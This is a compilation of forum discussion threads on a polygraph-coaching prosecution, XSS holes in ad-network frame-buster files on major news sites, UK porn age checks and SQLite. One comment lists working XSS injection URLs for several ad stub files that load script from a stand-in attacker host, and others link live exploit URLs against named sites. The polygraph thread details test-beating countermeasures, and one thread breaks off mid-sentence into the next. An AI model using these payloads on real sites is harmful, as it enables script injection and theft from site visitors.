Man accused of teaching people to beat lie detector tests faces prison - <AUTHOR> http://www.washingtonpost.com/local/indiana-man-accused-of-teaching-people-to-beat-lie-detector-tests-faces-prison-time/2013/08/31/a7cbe74a-08ea-11e3-9941-6711ed662e71_story.html <comment><USER2> "Whether the measures are effective is a matter of debate."

Less so after this prosecution. It would be pretty stupid for the government to send undercover agents after him if his techniques didn't work. He'd be _helping_ the government if he taught ineffective techniques to people to who wanted to lie to it. So either the government is very stupid (a real possibility, I admit) or his techniques work.

<comment><USER3> Shutting this guy up via prison also provides some value in maintaining the fiction of the efficacy of polygraphs, so it may not necessarily be an endorsement of his methods.

It is my opinion that much of modern LEO's abilities to solve crimes are based on maintaining a facade of authority built up by the common perception of their methods. Specifically I mean the methods of analysis like hand-writing analysis, polygraphs, and even more "scientific" methods like finger-prints or DNA evidence. These methods of investigation are often portrayed in popular media as 100% effective in providing proof, however their real rates of effectiveness are quite a bit lower.

Much of these techniques are not as effective as claimed or perceived, but are used as a tool to bring pressure to bear on criminals to cause them to implicate themselves indirectly or confess completely to their crimes.

Much crime is solved merely by rounding up the "likely suspects" and tricking them into thinking that the case is already solved and the criminal just has a chance to admit and gain some sort of ameliorative to their sentence.

<comment><USER4> _...and even more "scientific" methods like finger-prints or DNA evidence. These methods of investigation are often portrayed in popular media as 100% effective in providing proof, however their real rates of effectiveness are quite a bit lower._

Is there hard data on the failure rate of fingerprint evidence? That's quite interesting.

<comment><USER3> Well, that's the thing, I don't think (to my knowledge, basically) that they even track such things. Finger-print analysis isn't even standardized, apparently.

Brandon Mayfield is one example of a high-level failure in such analysis. He was implicated in the Madrid bombings by a finger-print and thus faced serious international terrorism charges despite being completely innocent.

Here's an article that touches on some of the issues, and also mentions some of Brandon Mayfield's experience:

[http://www.cbsnews.com/8301-3445_162-4069140.html](http://www.cbsnews.com/8301-3445_162-4069140.html)

A finger-print analyst in the linked article claims 98% efficacy, though there is no data to back up that number. With no standards and no apparent statistics to back up their successes and failures.

</comment></comment></comment></comment><comment><USER5> Michael Shermer of "Skeptic" magazine covered how easy lie detectors are to game here: [http://www.youtube.com/watch?v=GLL3wtgBiFA](http://www.youtube.com/watch?v=GLL3wtgBiFA)

In the video, a former Polygraph Examiner, Doug Williams coaches him on how to beat the test. Then they test Mr Shermer and he defeats the test easily.

Polygraphs are so prone to bad data, they should be retired ASAP. They're slightly more effective than dowsing rods. [http://en.wikipedia.org/wiki/Dowsing](http://en.wikipedia.org/wiki/Dowsing)

In related news, Iraq spent $38 million on dowsing rods to "detect" bombs: [http://www.businessweek.com/articles/2013-07-11/in-iraq- the-...](http://www.businessweek.com/articles/2013-07-11/in-iraq-the-bomb- detecting-device-that-didnt-work-except-to-make-money)

How many lives have been lost or ruined due to lack of basic understanding of available science?

</comment><comment><USER6> [http://www.wikihow.com/Cheat-a-Polygraph-Test-(Lie- Detector)](http://www.wikihow.com/Cheat-a-Polygraph-Test-\(Lie-Detector\))

has several good tips on how to cheat polygraph tests. I actually strongly encourage everyone to read up on polygraph tests and how to cheat them, here's why: they've been wrong again and again, they've gotten innocent men in trouble. There's a very real probability that the polygraph can say you're lying even when you're not lying. To save yourself from getting caught by these pseduo-scientific tests if ever you're in the position, prepare yourself now, learn about the polygraph tests and how you can use them to your benefit.

<comment><USER7> I don't know about you, but my programs never compile the first time I write them. I wouldn't recommend anyone using these techniques on the internet unless you can test them out on a real polygraph.

<comment><USER8> The bad news is that replicating an actual polygraph scenario is basically impossible. Even if you go in for a real polygraph, it won't be the same as having something riding on it.

The good news is twofold:

1\. It's seems not to be as difficult to fool a polygraph as it is to get code to compile.

2\. You can measure some of the factors they look at. A heart rate monitor, for example, can aid in practicing raising your pulse.

<comment><USER9> You can replicate a real test, but it requires considerable effort:

First, you need someone capable of imitating a trained polygrapher. The simplest option is to hire one, but from what I know of polygraphy I'm pretty sure that a magician could do the job with a few hours study.

Second, you need an accurate simulation of real polygraphy equipment. Again, you can just pay for a test, or you can rig something up with a galvanometer, heart rate monitor, and spirometer.

Thirdly, as you said, you see to have "something riding on it." Hand a trusted confidant a quarter of your monthly income and tell them to give it to a charity antithetical to your beliefs if you fail the test.

<comment><USER8> An interesting idea. Actually, since various sources have gotten ahold of standard scripts, you could probably have a friend of a friend (you need someone unfamiliar) do the administration, although that won't help with the "trained interrogator" factor.

Amazon carries a $100 USB polygraph machine, but most of the reviews say it gives the same readings regardless of whether you attach it to a person. Assembling your own stuff might make more sense.

</comment></comment></comment></comment></comment><comment><USER10> Note this detail from the article:

"Teaching about the flaws of polygraph testing is not inherently illegal. […] Dixon was charged after he helped undercover agents learn to cheat the test after they told him specifically that they intended to lie as they applied for federal jobs."

So Dixon's charge isn't simply helping people beat a government test. It's aiding candidates in gaining government jobs, even though he knows that those candidates are unqualified for those jobs (according to official measures). I think that makes Dixon's charging more understandable.

Now, one may disagree that the questions they ask in such tests are an accurate way of finding good candidates. I don't know what sorts of questions they ask. But the government's response is understable, because _they_ believe that the tests really do qualify one for the job.

<comment><USER11> Is it a crime to lie on a resume then? Is it a crime for me to explain how to lie to you on a resume?

Is it cool to throw someone in jail for explaining the best way to lie?

Every thing is a nail to you people, waiting to be solved with the hammer of violence.

<comment><USER12> From reading the article, the crucial point is that Dixon's clients _told_ him they were going to use his training to do illegal stuff. Up to that point, Dixon's teachings were protected by the First Amendment. He should have told them to get lost and reported them to the appropriate authorities.

E.g., it's perfectly legal to write articles and teach classes and post YouTube videos on picking locks. Even if the knowledge you spread causes lock makers to lose money and their employees to lose jobs. Indeed, your teachings help society by exposing false security.

However, if someone tells you they are planning a burglary spree and tries to engage you to give a seminar on unusual locks, then you better tell them to take a hike, or you are prosecutable.

<comment><USER11> I am not arguing whether or not it is prosecutable, I am arguing whether or not it is fucking stupid.

Criminalizing knowledge is bullshit. Why should the burden of ratting people out be placed on this dude? It is such bullshit.

Should it be illegal to tell people how to make meth? What about making alcohol? Should it have been illegal to teach people to make liquor in 1919? What about December 31st 11:59 PM 1918?

This whole thing is fucking stupid and the feds have way more interesting things to do than harass people for telling people how to cheat tests.

Its the same line of thought as suing gun manufacturers for murders or alcohol companies for drunk driving. It removes responsibility from the individual.

Not to mention this was a fucking manufactured crime. Glad every serious crime has been solved so we can bust a dude for teaching people to pass lie detector tests, which are unscientific pieces of garbage to begin with.

<comment><USER12> _> Not to mention this was a fucking manufactured crime._

Absolutely.

Dixon was obviously entrapped. That is to say, the feds threw a bunch of shills at him, who said basically, "teach me how to beat the machine so I can do something wrong". Dixon fell for it, pleaded guilty, and now is awaiting sentencing.

The interesting question is, what did Dixon do that caused the feds to go to such lengths to railroad him?

<comment><USER13> "entrapment" is such a diluted phrase these days. What entrapment _really_ means is that a law enforcement officer encouraged someone to do something that they wouldn't have done otherwise. If an undercover cop asks a drug dealer for drugs, this is _not_ entrapment.

Entrapment would be like if an undercover officer put a gun to someone's head and told them to steal something, then arrested them for stealing. Or if an undercover officer became the leader of a peaceful activist movement, and then started preaching that they should get violent; then arrested all of the protesters that got violent.

It gets a little sticky in some cases, like the Portland bomber case. The undercover FBI agents kept asking him if he _really_ wanted to do it. Looking at it one way you could say that they were discouraging him from doing it. On the other hand, he thought that they were terrorists, so even if he found himself in over his head, he would be unlikely to feel like he could back out at any time. Saying, "You can back out at any time," could just as easily be a ruse to test his resolve.

</comment></comment></comment></comment></comment></comment><comment><USER14> The Anderson Report[1] into scientology stated that the E-meter[2] is used:

"...to assume, intensify and retain control over the minds and wills of preclears. Fears of its abilities keep them in constant subjection. Its use can be so manipulated by cunningly phrased questions that almost any desired result can be obtained, and it is used unscrupulously to dominate students and staff alike. All the evil features of scientology are intensified where the E-meter is involved. When used in conjunction with hypnotic techniques, its evil impact is greatly increased. This simple electrical device is not, of course, the sole basis for the condemnation of scientology, but without the E-meter scientology would be partly disarmed."

The use of psychological manipulation[3] tools works well for scientology. Polygraphy works better because it is backed by a larger community of supporters that are just as deceived as the subjects. Polygraphy has also benefited from decades of use in movies--ensuring much of the world's population now believes in the deception.

[1] [https://en.wikipedia.org/wiki/Anderson_Report](https://en.wikipedia.org/wiki/Anderson_Report)

[2] [https://en.wikipedia.org/wiki/E-meter](https://en.wikipedia.org/wiki/E-meter)

[3] [https://en.wikipedia.org/wiki/Psychological_manipulation](https://en.wikipedia.org/wiki/Psychological_manipulation)

<comment><USER15> It should be noted that both Scientology and the variety of government intelligence agencies (CIA, NSA, etc) have an obsession with berating examinees accusatory and spurious questions and claims, the goal being to get the examinees to incriminate themselves.

Famously (or infamously), a Scientologist examiner's opening question is usually "What are your lies? Everybody has lies, tell me about yours."

</comment></comment><comment><USER16> In general, teaching which is not intended to facilitate crime is protected speech. (Beating a polygraph isn't inherently, a crime. It depends on the context.) But, if you know or reasonably should know that you're aiding in the commission of crime, then you have committed a crime. You needn't be explicitly informed of criminal intentions by your students. Willful ignorance will not protect you from prosecution.

So, for example, mere publication of a book on polygraph countermeasures is probably protected speech, particularly if the information is presented as valuable data for public debate, rather than instructions for would-be criminals. (Don't take my word for it, and remember I said "probably.") But, if a person coaches individuals, and a reasonable person in the same position would suspect criminal intentions, then the coach is probably no longer engaging in protected speech.

One wonders, then, where the line is drawn. How much does one have to know about his students before it becomes actual knowledge of willful ignorance, both of which can result in conviction? One can reasonably assume that at least some percentage of all polygraph evaders do so in a context where it's criminal. How does this affect the legality of teaching countermeasures in a one-on-one context?

It turns out that the distinctions are subtle, and the case law complex. I would recommend the following read if you're interested in the finer points:

[http://www2.law.ucla.edu/volokh/facilitating.pdf](http://www2.law.ucla.edu/volokh/facilitating.pdf)

The above article doesn't provide a clear answer about teaching polygraph countermeasures, specifically. If anything, it shows that the outcome will depend on a lot of particulars of the case. I don't think one can answer the question in a general sense.

</comment><comment><USER17> The government is abusing the justice system to imprison anyone that represents even a low level threat to it. That is a hallmark of some of the worst regimes in the history of the world. Regardless of his sentence, they have achieved their purpose: to make sure that Americans believe, incorrectly, that it is illegal to protect their rights when the government wants to encroach them.

They convicted this guy largely on a technicality - that they happened to mention that they would be using the knowledge he was teaching them illegally. Even that is a stretch of the law. Next we'll have DEA agents walking into 7-11's buying skittles and Arizona watermelon fruit juice, saying the word "lean" to the checkout person, then indicting the 7-11 organization for complicity in illegal drug manufacturing if they sell the items.

</comment><comment><USER18> What are the legalities in the US with respect to teaching people?

If I'm teaching something and a student says they intend to use what I'm teaching to commit a crime am I _legally_ required to do anything at that point?

Is it different if the student says they're going to use the education to cheat a background test as opposed to some other bad activity?

Is it different if the skills are generally considered more harmful (martial arts, lock picking) versus less harmful (bike riding, painting, gymnastics)?

<comment><USER19> > am I legally required to do anything at that point?

No, but if you continue you become an accomplice.

</comment></comment><comment><USER20> Before people get too carried away, the reason why he's in trouble isn't that he was teaching people to beat the lie detector.

This bit is very important: It's because he was teaching it with knowledge that the techniques would be used for nefarious and illegal things. This is arguably aiding criminal intent. IANAL, but that itself carries a very different connotation with his actions. If he was objectively teaching this to highlight the failures of the detector and showing that it can be beaten, but not directly aiding any criminal activity, it would have been different.

The moment he knew the "clients" were engaging in or about to engage in something illegal or legally dubious, he should have distanced himself.

And for proof, the article itself mentions that many others who do the same thing, highlight the inadequacies and teach ways to circumvent it, have thus far not been prosecuted.

</comment><comment><USER21> I can't help but feel that there is something one-sided & missing from this story.

Two questions (one being discussed already):

"pleaded guilty in December to wire fraud and obstruction of an agency proceeding"

1) I didn't see any mention of the wire fraud charges - can anyone clarify that part? (Over the phone or mail, but that would have to be fraud - in which case, they are saying his technique doesn't work. Which opens a different problem)

2) There are laws against aiding & abetting. If I teach you to crack a safe, it's freedom of speech. If you tell me, "teach me how to crack a safe because I'm planning to rob 1st National", I am absolutely an accomplice & will be charged

The story tries to paint this as a man being prosecuted for teaching a technique, but I don't see that at all.

<comment><USER22> It's probably just because he got paid to do it.

</comment></comment><comment><USER23> In a way then, why aren't lawyers under the same kind of threat? Don't they advise people in order to avoid incriminating themselves?

</comment><comment><USER24> This should absolutely not be illegal.

<comment><USER19> It's not. The part that is illegal is encouraging people to lie to the government. They're two different things.

<comment><USER24> Encouraging people to lie to the government shouldn't be illegal either. Lying to the government perhaps should be (though that's debatable), but encouraging or teaching how should not.

<comment><USER19> Aye, and I can't find the relevant statute.

</comment></comment></comment></comment><comment><USER25> I'd like to be outraged, but it does seem like he deserves to serve time.

He's not being prosecuted for providing information generally on how to cheat a polygraph. He committed a crime when he willingly and knowingly aided actual criminals. (Ex. a federal agent with drug cartel ties.)

That's absolutely a crime. Just like it's legal to sell thallium, but it's certainly not legal to sell it to someone who tells me they intend to kill with it.

And it seems he didn't maintain plausible deniability.

(Bring on the downvotes.)

<comment><USER15> > aided actual criminals

Could you be more specific in what crimes he aided in? Falsifying polygraph test results isn't a crime, since the test results are inadmissible in court cases.

<comment><USER19> > Falsifying polygraph test results isn't a crime

Yes it is: [http://www.law.cornell.edu/uscode/text/18/1505](http://www.law.cornell.edu/uscode/text/18/1505)

<comment><USER8> >any civil investigative demand duly and properly made under the Antitrust Civil Process Act

IANAL but that appears only to deal with the stuff dealt with here: [http://www.law.cornell.edu/uscode/text/15/1312](http://www.law.cornell.edu/uscode/text/15/1312) . That only applies to antitrust investigations.

<comment><USER19> I think you're right! My mistake, thank you for correcting me.

So maybe that's not relevant statute in this case? What else could "obstruction of an agency proceeding" refer to?

</comment></comment></comment></comment></comment><comment><USER26> The emperor does NOT like being told he is naked.

</comment><comment><USER27> I'm completely confused as to how teaching someone techniques for thwarting lie detectors are "wire fraud and obstruction of an agency proceeding".

Obstruction of agency proceedings is (per 18 USC c 1505) "Whoever, with intent to avoid, evade, prevent, or obstruct compliance, in whole or in part, with any civil investigative demand duly and properly made under the Antitrust Civil Process Act, willfully withholds, misrepresents, removes from any place, conceals, covers up, destroys, mutilates, alters, or by other means falsifies any documentary material, answers to written interrogatories, or oral testimony, which is the subject of such demand; or attempts to do so or solicits another to do so".

I'm no lawyer, but that sounds to me like you would have to materially intervene in the actual agency proceedings not merely arm people with knowledge of things like breathing techniques. This strikes me as the same nonsense that used to be used against people that taught lockpicking.

</comment><comment><USER19> He plead to 18 USC § 1505 "Obstruction of proceedings".

[http://www.law.cornell.edu/uscode/text/18/1505](http://www.law.cornell.edu/uscode/text/18/1505)

Seems he was party to an evading an investigation by misrepresenting testimony. That is, knowingly helping somebody lie.

This reminds me of 18 USC § 1001, "Making false statements".

This could be used to go after other "polygraph countermeasure" purveyors. You would have to never advise clients to lie. "Don't lie, try to evade the question, etc."

<comment><USER19> mistercow points out that this statute only applies to antitrust investigations, I don't see how it could apply in this case.

[https://news.ycombinator.com/item?id=6309891](https://news.ycombinator.com/item?id=6309891)

</comment></comment><comment><USER28> Penn and Teller did an episode of bullshit on this. The key is to clench your anus muscles. Immediately spikes the charts. Just keep doing that to every question and all of their data is invalid.

<comment><USER8> That is not quite a nuanced enough approach to be effective.

First of all, what you have to do is determine which questions are "control" questions. These are questions where the interregator expects less than 100% honesty, and they use responses to these questions as a comparison when asking you the "relevant" questions. For example, they might ask "Have you ever lied to get out of trouble?", or "Have you ever revealed a secret told to you by a friend?" You use your false-positive triggers on these questions, exaggerating the response the interrogator will associate with deception. [Edit: To clarify, the point here is that you don't want to give the interrogator a high entropy data set; that would just lead to them thinking you were lying at random. You want their data to give a very specific indication: that you have been truthful on all relevant questions]

Secondly, the latest edition of _The Lie Behind the Lie Detector_ [1] notes that examiners have begun using sensors to attempt detect physical countermeasures, such as sensors to detect changes in weight distribution. It has not been determined if they are able to detect intentional anus constriction, but in the interest of caution, they advise sticking to mental countermeasures and tongue-biting, which definitely cannot be detected (although I would expect some attempt to detect the latter in the future).

Finally, it's really important to remember that these examiners _are interrogators_. The lie detector is a tool that they use, and in many ways it is a misdirection. One of its key purposes is to make you feel that they have an edge. Knowing that you can fool it is an important piece of the puzzle, but you must always remember that their bottom line is to get you to make damaging admissions. They are well-trained at this, and they will certainly use other techniques besides their toys.

[1] [https://antipolygraph.org/lie-behind-the-lie- detector.pdf](https://antipolygraph.org/lie-behind-the-lie-detector.pdf)

<comment><USER29> Those control questions don't even make sense to me because I don't see how you would expect dishonesty in answering those questions. The answer is yes for every human on this planet so why would I try and lie about something that I also have in common with the person interrogating me.

<comment><USER8> Yes, quite.

</comment></comment></comment></comment><comment><USER30> As a Lie Detector Antidetection Instructor – a "Lie Instructor", essentially – any prospective student who tells you their illegal plans is either an undercover agent, or has so little natural talent for lying they should be rejected from further instruction in any case.

<comment><USER8> Could you tell people something like "If you _did_ intend to lie on the polygraph test, you should by no means tell anyone that, including me"? Or would that be too legally risky.

It seems like otherwise you have something of a moral quandry. The lie detector is ineffective, so without instruction in countermeasures, a person guilty of one thing could still end up accused of another based on their performance. Whatever they're actually guilty of, that scenario is negative utility for everyone.

</comment></comment><comment><USER31> The man committed a horrible deed - he helped likely criminals escape the reach of justice. But the terrible truth here is that interpreting the squiggles of a lie-detector test is not science. Perhaps we as a society rely to much on this "so called" technology.

<comment><USER26> This man did not commit any terrible deed. Instructors teach people how to use guns every day. Some of these people go on to kill people and commit crimes, but no one would suggest you prosecute the firearms instructors.

All this case does is point out how stupid polygraph tests are. Nothing more.

If, as the government claims, Chad Dixon taught methods that allow subjects of polygraphs to effectively cheat them, then polygraphs can easily be cheated. If polygraphs can be easily cheated then why is anyone relying on polygraphs for anything.

Polygraphs are part operational security theatre and part invasive intrusion on someone's personal life. As this sad story proves they offer little more.

<comment><USER10> The difference between Dixon's case and the gun instructor case is that, to use your analogy, the students on gun use actually told the instructor that they planned to go out and shoot someone. That is, people told Dixon that they were going to lie on these tests (rather than just prevent the test giving them a false negative).

Now, getting a government job you're unqualified for isn't as bad as murdering someone, but it's still a bad thing for society. Unqualified people in government jobs would presumably make the government run less efficiently with respect to taxpayer money, and less effectively, which could be especially bad if these government jobs help people.

</comment></comment></comment><comment><USER32> Teaching a gardening class, kick out the pot smoker else you may be aiding future drug production. Easy for law enforcement to frame people and jail them for aiding and abetting a possible future criminal. That's right, not a current criminal, but hypothetical possible future intent by an individual. And we can extend that to negligence. The karate instructor better kick out the grade school student who says they want to punch the bully at school. People have to be paranoid about who they interact with and by law we must watch out for the governments interests, disassociate with those the State may label criminal for some possible crime in the future.

</comment><comment><USER33> > Dixon was charged after he helped undercover agents learn to cheat the test > after they told him specifically _that they intended to lie as they applied > for federal jobs_.

I think that might just be the reason why they are going after this guy and not the rest.

It's one thing to talk about bank robberies, it's another thing to provide bank-robbery consultation services to bank robbers.

</comment><comment><USER34> Does anyone know what "wire fraud" has to do with this?

That charge has been used in a number of recent "hacking" cases, where it makes a bit more sense (though still over blown), but I can't quite figure out what it has to do with teaching people how to remain calm while being questioned.

<comment><USER35> There was a wire and some fraud? Prosecutors love to throw everything at the wall to see what sticks, it also helps them extort a plea bargain when the choice is between argue your way out of 1000 years in prison or take 5.

</comment></comment><comment><USER36> Does it occur to anyone here that he is set up and put in prison to teach someone in prison working for some shady agency how he can deal with his next interrogation and be set free of guilt? Would be a great movie script, though.

</comment><comment><USER37> I was under the impression that polygraph results were inadmissible as evidence in court proceedings, and if so, of what importance is teaching people how to beat "lie detector" tests?

<comment><USER19> They are used widely in employment screenings at the NSA, CIA, etc.

<comment><USER38> That is utterly stupid...

<comment><USER29> Lie detector tests are mainly used as a prop for an interrogator to convince you to tell them things.

<comment><USER38> Indeed. And the fact the government must "interrogate" you before they'll let you join the FBI, NSA, etc. is mind boggling.

</comment></comment></comment></comment></comment><comment><USER39> These tests should be administered on top politicians from time to time, and only would they consider banning them.

Like, along with an oath, let a President take a lie-detector test.

<comment><USER23> Would you believe such a test?

<comment><USER40> Probably more than I'd believe a politician directly.

</comment></comment></comment><comment><USER41> Interesting strategy, to prosecute, as the publicity will only raise awareness of lie detector beating techniques.

Better to research new mind reading style lie detection systems.

<comment><USER15> It serves far more than to simply raise awareness of the techniques for beating it, namely to deter other would-be teachers.

The government's hounding of him -- like their current hounding of Edward Snowden and their previous hounding of Aaron Schwartz -- is a naked assertion of dominance.

</comment></comment><comment><USER38> What the actual fuck. Polygraphs are unscientific bullshit snake oil anyway and I can't believe America still uses and believes in them.

</comment><comment><USER42> The next time someone asks you why privacy matters, you can remind them that the government is now prosecuting speech as thoughtcrime.

</comment><comment><USER43> So detector tests are basically "security by obscurity"?

</comment><comment><USER44> This is BS.

</comment><comment><USER45> The end of freedom.</comment>


CNN, NYTimes, Mashable all vulnerable to XSS - <AUTHOR> http://davidlynch.org/blog/2011/10/xss-is-fun/

<comment><USER2> Generalizing this out just a little bit: _please_ be aware that when you source Javascript from places like TypeKit or Crazyegg or whatnot, you're setting the security of your web app at the _lowest common denominator_ of all those sites.

It's not just a question of whether the script they're providing you today is safe; it's a question of whether their own applications are sound enough to prevent an attacker from popping them and changing what the script says.

I think the modern vogue for sourcing Javascript from random API providers is a bad idea; I predict that the badness of that idea is going to become more and more evident over the next few years; I think you'd be well-served by investigating how much of that stuff you can serve directly.

<comment><USER3> How far would you go in hosting locally? Would your recommendation also apply to Google Analytics or CDN-hosted jQuery, for example?

<comment><USER2> It drives me up a wall when people use CDN jQuery. Just host jQuery.

<comment><USER4> Why?

<comment><USER2> Because every page in the app is bound to carry the jQ dep, and you can just as easily provide your own static file hosting for jQ. It seems like a pointless complication to the security model of an app, to take its core Javascript framework library and host it offsite.

<comment><USER5> You really think your home-rolled static file store will be more resistant to compromise than Google?

<comment><USER2> This question is nonsensical. If you can't host a static file you are screwed no matter what. We can argue about how much of a risk Google CDN is (I don't think it's much of one), but it's not zero.

"Home rolled static file store"? Sheesh.

<comment><USER6> No offense, but from my perspective you're getting a little rude here without really explaining the situation.

So far I grasped from you that external static files compromise the security model so much it's worth the time and effort to keep up to date with them locally _and_ be okay if the page load times suffer (they do especially with minimalist sites.)

I understand the risk that Google CDN might be hacked and turned into a data mining monster, but it would, at the same time, infect so many important and popular sites on the whole web, I can't even imagine my sites being targeted.

<comment><USER7>
        but it would, at the same time, infect so many important and popular sites on the whole web, I can't even imagine my sites being targeted.

Maybe, or maybe it's exploited to target only your site by detecting referrers and only serving your site malicious javascript. Thomas is correct in arguing to host your own.

<comment><USER6> This implies I can do it better than Google or any other big-name-company CDN I happen to trust.

I don't know about you or Thomas, but this isn't true for me.

<comment><USER2> You ignored the point I'm making. You don't have a choice but to do "static file hosting" securely.

</comment></comment></comment></comment></comment></comment></comment></comment></comment></comment></comment><comment><USER8> Interesting: MySpace seems to have a "fixed" version of the code (but the date indicates that it isn't a recent fix):

<http://www.myspace.com/eyewonder/interim.html>

</comment><comment><USER9> So, I'm cleaning this up on our servers, and there are a bunch of other ad networks that appear to be vulnerable. Adcentric and Adinterax appear to be vulnerable. addineyev2 appears to be vulnerable as well.

Edit: Pointroll, eyeblaster also vulnerable. Unicast is vulnerable, but it'd be very hard to exploit.

Whoever wrote these stub files should be flogged Old Testament style. This is just negligent.

The good news is that the headline isn't accurate anymore. :)

<comment><USER10> Still worked on CNN when I tried it just now.

</comment></comment><comment><AUTHOR> It's an example of a fairly typical XSS hole in the HTML an advertiser has provided. It just felt worth posting about because the sites involved are high profile. Shows that even the big players don't always watch their inputs.

<comment><USER11> From the article "Also, don't trust your ad networks to know/care about security."

This is one of those things that I wish something akin to Amazon's Silk browser would be useful.

Replace the javascript with  and have the script run on their end which provides the pre-rendered advertisement.

Yes I realize its not that simple, listening to Brandon Downey at Google explain all the ways one might mount an XSS attack was always both awe inspiring and depressing at the same time. We've seen a number of ad network issues, it seems like a common attack surface.

<comment><USER12> Ah but the advertisers want dynamic ads and tracking and stuff!

</comment></comment></comment><comment><USER13> Wowza. <http://www.google.com/#q=inurl:eyewonder/interim.html>

<comment><USER14> Very nice. I always forget to get the Google scale of these sorts of issues.

</comment></comment><comment><USER15> This makes me wonder; how is it appropriate to handle vulnerabilities such as these?

A few months ago, I decided (as an experiment to see how common XSS actually is) to click on random HN links and type "<asdf '\"" into any search bars and look for weird rendering on the page or weird behaviour in the page source. After half an hour, I had five or so exploitable XSS vulnerabilities, two of the more prominent ones being CNN and Newegg. I sent emails to their security- related issue addresses, but they never responded or fixed the issue.

After sending them a couple more emails, I just gave up. But this article makes me wonder, could I have handled the situation better? The thought of releasing a benign-but-scary exploit crossed my mind, b ut I'm uncertain...

<comment><USER16> 1) Follow their contact us request (Likely an email to the general address) and make a task note in a month to review the correspondence (stateless).

2) If no reply in that timeframe, make a blog post and a recommendation to listen to security reports. Post to HN. Public shame upon them to do two things aforementioned.

I'm happy with this for my projects. I take security reports very seriously and it's the only development priority over cat pictures.

For monetary incentive: Major websites will give a reward for reporting to them.

</comment></comment><comment><USER17> The article is currently down, but the skinny of the deal is many advertisers will have you host "frame buster" [html] documents, so that they can execute javascript outside of your ad iframes. Some are terribly bad at providing clean source and exploitable by XSS, allowing an attacker to execute arbitrary javascript on your site.

The following are some in-the-wild documents that exhibit these behaviors, and you should remove, modify, or beware before further use.

      /videoegg/vedoc.html
      http://www.yoursite.com/videoegg/vedoc.html?tagid=foo&tagurl=http://www.attacker.com/malicious-js/

      /adx-iframe-v2.html
      http://www.yoursite.com/adx-iframe-v2.html?ad=www.attacker.com/malicious-js/%22mi.adinterax.com/js/y&vm=r&P=Y&adx_D_180421=h

      /eyereturn.html
      http://www.yoursite.com/eyereturn.html?foo%22%3E%3C/script%3E%3Cscript%20src=http://www.attacker.com/malicious-js/%3E

      /ifr_b.html
      http://www.yoursite.com/ifr_b.html?c=foo%22%3E%3C/script%3E%3Cscript%20src%3Dhttp://www.attacker.com/malicious-js/%3E

      /interim.html
      http://www.yoursite.com/interim.html?src=http://www.attacker.com/malicious-js/

      /eyewonder/interim.html
      http://www.yoursite.com/eyewonder/interim.html?src=http://www.attacker.com/malicious-js/

      /oggiPlayerLoader.htm -- requires framing the advert

</comment><comment><USER18> So, this guy is bragging about committing a felony, right?

(I think it's a very neat hack and that he shouldn't have to be worried, but... am I right? Is this in fact a felony? Less?)

<comment><USER2> I wish people would stop downmodding you to lightgrey just because they don't like what you're saying, because while "committing a felony" is a somewhat breathless way to word this, it's not absolutely false: you can conceivably be prosecuted for doing stuff like this.

In Lynch's case, he's fantastically unlikely to get into anything more than PR trouble over telling people about an XSS bug. But people have gotten into real trouble over what they thought was benign investigation.

Web developers put a lot of effort into making web apps feel like they're running on your own computer, but under the law, when you click around on a web app, you are interacting with someone else's property.

<comment><USER18> Thanks... I really did mean that as a question, I should have been clearer.

</comment></comment></comment><comment><USER19> I've run into several XSS vulnerabilities that were easily detected just by NoScript. The most blatant was on a banking related site where the contents of a POST requests get put directly between the  tags. I considered reporting them, but have heard too many horror stories of legal action being brought about against reporters of such vulnerabilities that even if the chance is very low, it's a hassle I just don't want to deal with now.

</comment><comment><USER20> Plenty of big sites get posted pretty much daily to /r/xss, not to take away from the severity of the problem in having big holes like this in ad networks.

</comment><comment><USER21> If one opens Google News and visits sites at random, you'll find at least 1 in 5 has an XSS vulnerability in their search box. Its really incredible. Just type <plaintext> into the search box, and you'll be shocked how many sites break.

<comment><USER22> Heh this is pretty funny actually. The third site I tried, randomly, ended up being vulnerable:

[http://www.dziennik.pl/szukaj?q=%3Cfont+size%3D%2B10%3E&...](http://www.dziennik.pl/szukaj?q=%3Cfont+size%3D%2B10%3E&c=1&b=1&o=1&search_term=)

</comment></comment><comment><USER23> I'll just leave this here...

<http://www.reddit.com/r/xss>

</comment><comment><USER24> [http://www.foxnews.com/eyewonder/interim.html?src=https://ra...](http://www.foxnews.com/eyewonder/interim.html?src=https://raw.github.com/gist/1302603/bc73379a2307994dd3b6840112b76468af943ff7/mess.js)

Mustttt resssisttttt.......

<comment><USER25> You could even use HTML5 History pushState to get rid of that /eyewonder/interim part of the URl and it'll look totally authentic.

</comment></comment><comment><USER26> This is by no means a new exploit. I've know about it for about a year and sent warning emails to rather large players. The response, when I got one, was that its the industry standard. Publisher's developers see the scripts when network request to host them, and they often raise the issue. Yet the type of the ads that require those frame busters pay well, and unfortunately those concerns are swept away.

</comment><comment><USER27> Couldn't this be simple solved with X-Content-Security-Policy header in order to prevent non-authorized domains to run objects on the site ?

<comment><USER2> When most browsers support CSP, maybe. Most don't today.

</comment></comment><comment><USER28> Those sites are fixed now. If you want to see the effect live, here is another one which still works: [http://www.flightstats.com/go/eyewonder/interim.html?src=htt...](http://www.flightstats.com/go/eyewonder/interim.html?src=http://davidlynch.org/projects/xss/eyewonder.js)

</comment><comment><USER29> It's interesting that someone went out of their way to obfuscate the interim.html script:

        document.write('<s'+'cript language="JavaScript" src="');

I guess they were intentionally trying to evade some tool that looks for '


UK to introduce porn age checks in July - g-erson https://www.bbc.co.uk/news/technology-47960775 <comment><AUTHOR> How will this work?

The ideas in the article are dumb, approximately 0 people will upload their passport to a porn site or go and buy a pass from a newsagent.

The article makes out that VPN's could be made illegal at some point, that's not even technically possible. It's like legislators have no clue what this stuff is.

</comment><comment><USER2> Now just watch everyone move to the less trustworthy sites that are full of malware, and the people who register get their information stolen.

<comment><USER3> Plenty of free sites out there that don't need registration, also VPNs.

<comment><USER2> That don't need registration _yet_.</comment></comment></comment>


SQLite 3.8.0 Release with next-generation query planner - <AUTHOR> https://www.sqlite.org/news.html?year=2013 <comment><USER3> I'm here to declare my love for sqlite, a database that doesn't asks me to choose a root password (wtf, everybody hate passwords) and an application user password (double wtf), doesn't open a socket (being it unix on TCP), doesn't install a daemon somewhere in the system, doesn't need to be root to start, doesn't asks me to create a new dba user in my system, doesn't require me to be understand how the root daemon starter hands over the control to the dba user when something goes wrong at startup, and generally doesn't bother me with stuff that has really nothing to do with storing and querying data.

I don't run this in production only because I would have a hard time convincing everybody to do it or by cargo-culting my fears (depending on the project). But one day I will.

<comment><USER4> So in short... if anyone gets the chance of an sql injection, they have access to all tables and all schemas from any app that can access your database. Privilege separation is a very good idea. Not opening the database file directly is a very good idea too.

